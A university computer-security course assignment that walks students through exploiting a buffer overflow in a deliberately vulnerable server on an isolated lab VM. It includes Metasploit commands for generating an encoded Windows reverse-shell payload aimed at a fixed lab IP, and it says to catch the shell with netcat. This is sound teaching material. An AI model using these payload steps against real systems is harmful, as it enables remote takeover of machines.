University of Maryland
CMSC414 — Computer and Network Security
Professor Jonathan Katz

Project 3

Due by April 23, 11:59 PM

This lab will introduce you to buffer overflows, fuzzing, reverse engineering, and Metasploit. *This lab will take longer than you expect — do not procrastinate!*

1 Overview

This lab uses a virtual machine (VM) running Windows XP SP2 with the firewall, DEP, and Windows Updates intentionally turned off. This VM can be downloaded from

`http://www.cs.umd.edu/~waa/414-F11/Lab1VM.tgz`.

This VM contains a vulnerable application (*vulnserver.exe*) that you will exploit. To find a vulnerability, you will need to install a debugger (e.g., OllyDbg, IDA Pro, or Immunity debugger) on the Windows VM. Once you identify the vulnerability, you will develop and run an exploit from an attacking host. I recommend that you use a second VM (e.g., the Linux BackTrack VM available at `http://www.backtrack-linux.org`) as your attacking host. It is also possible to use the Windows VM itself as the attacking host, but if you choose to do so then you will need to download and install several additional tools (e.g., netcat, perl, and Metasploit) on that VM.

The *vulnserver.exe* application is a modified version of the vulnserver written by Stephen Bradshaw and discussed at length in his set of tutorials that are linked from the course syllabus (and which I assume you have read). You are welcome to look at the source code for his vulnserver, however the overflows in the modified vulnserver are different from those in the original source.

The *vulnserver.exe* application has several vulnerabilities, but for this homework it suffices to find and exploit just one of them. The goal is to open up a reverse shell on the Windows VM that connects to your attacking host.

2 Getting Started

Download the (compressed) VM, uncompress it, and run it using your favorite virtualization software (I used the free version of VMware). The administrator password is cmsc414. The vulnserver.exe program is in the Lab1 directory on the Desktop. It can be run from the command line, and by default it listens on port 9999. You can interact with it by opening a second terminal window and connecting to port 9999 on localhost using telnet or netcat (or by connecting to port 9999 of the Windows VM from your attacking host).

3 Developing an Exploit: High-Level Overview

At a high level, the steps for exploiting a vulnerability are (1) locating a vulnerability within the vulnserver application, (2) determining how that vulnerability can be exploited to run arbitrary code, (3) crafting some code (i.e., the "payload") you want to run, and finally (4) combining steps 2–3 to build a full-fledged exploit. All these steps are covered in Bradshaw's tutorials.

You can find vulnerabilities in the vulnserver program by running it within a debugger while sending it input using a perl script as a client. You can find on the course homepage some stub perl code for the latter purpose. Once you find a vulnerability, you can continue to use the debugger and your perl script to determine how to exploit it.

The easiest way to craft the payload is using Metasploit. You can find lots of information about Metasploit on the web, but for the purposes of this lab I will walk you through the process for generating code for a reverse shell. (You are welcome to experiment further on your own.) Run Metasploit and type `use payload/windows/shell_reverse_tcp`. This just tells Metasploit the type of payload you want to use. You then need to specify the IP address of your attacking host, and a port. You can do this using the commands `set LHOST xxx.xxx.xxx.xxx` and `set LPORT xxx`, respectively, where of course you need to set the parameters appropriately. For the purposes of this project, set the IP address of your attacking host to 192.168.6.194 and use port 4444. Finally, you can generate your payload by typing `generate -b '\x00' -e x86/shikata_ga_nai -i 10`. This will automatically avoid null bytes in the generated code (why is that important?).

Integrating this code with your exploit, you can open a reverse shell on the Windows XP running the vulnserver application. Listen for an incoming connection request on your attacking host using netcat. If it works, you're done!

Name your final perl script `exploit.pl` and submit it to the TAs. Please make sure that your exploit uses the IP address/port given above, and successfully exploits the vulnserver program when it is *not* being run in a debugger.

4 Scoring

The intention is that everyone will successfully complete this project and get a score of 100. If that turns out to not be possible, partial credit can be discussed.